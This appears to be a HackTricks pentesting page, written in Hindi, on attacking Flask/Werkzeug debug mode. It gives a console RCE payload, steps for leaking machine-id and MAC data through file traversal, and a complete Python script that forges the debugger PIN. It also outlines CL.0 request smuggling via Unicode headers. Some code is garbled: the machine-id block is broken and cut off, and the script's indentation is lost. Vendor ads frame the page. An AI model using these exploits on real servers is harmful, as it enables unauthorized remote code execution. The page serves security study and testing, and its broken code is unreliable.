Werkzeug / Flask Debug

Support HackTricks

कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।

Console RCE

यदि डिबग सक्रिय है तो आप /console तक पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं।

__import__('os').popen('whoami').read();

इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे यह या मेटास्प्लॉट में एक।

पिन सुरक्षित - पथ यात्रा

कुछ अवसरों पर /console एंडपॉइंट एक पिन द्वारा सुरक्षित होगा। यदि आपके पास फाइल ट्रैवर्सल वल्नरेबिलिटी है, तो आप उस पिन को उत्पन्न करने के लिए सभी आवश्यक जानकारी लीक कर सकते हैं।

Werkzeug कंसोल पिन एक्सप्लॉइट

ऐप में एक डिबग त्रुटि पृष्ठ को मजबूर करें ताकि इसे देखा जा सके:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब मिलता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण Werkzeug के डिबग प्रारंभिक फ़ाइल (__init__.py) में PIN जनरेशन एल्गोरिदम का विश्लेषण करके किया जाए। PIN जनरेशन तंत्र का अध्ययन Werkzeug स्रोत कोड भंडार से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।

कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, probably_public_bits और private_bits, की आवश्यकता होती है:

probably_public_bits

  • username: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया।

  • modname: आमतौर पर flask.app के रूप में नामित होता है।

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): सामान्यतः Flask में हल होता है।

  • getattr(mod, '__file__', None): Flask निर्देशिका के भीतर app.py के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे, /usr/local/lib/python3.5/dist-packages/flask/app.py)। यदि app.py लागू नहीं है, तो app.pyc का प्रयास करें।

private_bits

  • uuid.getnode(): वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें str(uuid.getnode()) इसे दशमलव प्रारूप में अनुवादित करता है।

  • सर्वर के MAC पते का निर्धारण करने के लिए, एक को ऐप द्वारा उपयोग किए जा रहे सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी (जैसे, ens3)। यदि अनिश्चितता हो, तो /proc/net/arp लीक करें ताकि डिवाइस ID मिल सके, फिर /sys/class/net/<device id>/address से MAC पता निकालें

  • एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है:

# उदाहरण MAC पता: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id या /proc/sys/kernel/random/boot_id से डेटा को /proc/self/cgroup की पहली पंक्ति के साथ अंतिम स्लैश (/) के बाद जोड़ता है।

Code for `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है:

सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है। स्क्रिप्ट एकत्रित `probably_public_bits` और `private_bits` का उपयोग करके एक हैश बनाती है, जो फिर अंतिम PIN उत्पन्न करने के लिए आगे की प्रक्रिया से गुजरती है। नीचे इस प्रक्रिया को निष्पादित करने के लिए Python कोड है:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (cookiesalt और pinsalt) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि probably_public_bits और private_bits के वास्तविक मानों को लक्ष्य प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो।

यदि आप Werkzeug के पुराने संस्करण पर हैं, तो hashing algorithm को md5 में बदलने का प्रयास करें, sha1 के बजाय।

Werkzeug Unicode chars

जैसा कि इस मुद्दे में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि इस लेख में समझाया गया है, इससे CL.0 Request Smuggling भेद्यता हो सकती है।

यह इसलिए है, क्योंकि Werkzeug में कुछ Unicode वर्ण भेजना संभव है और यह सर्वर को टूटने का कारण बनेगा। हालाँकि, यदि HTTP कनेक्शन Connection: keep-alive हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।

Automated Exploitation

References

कमजोरी मूल्यांकन और पेनिट्रेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।

Last updated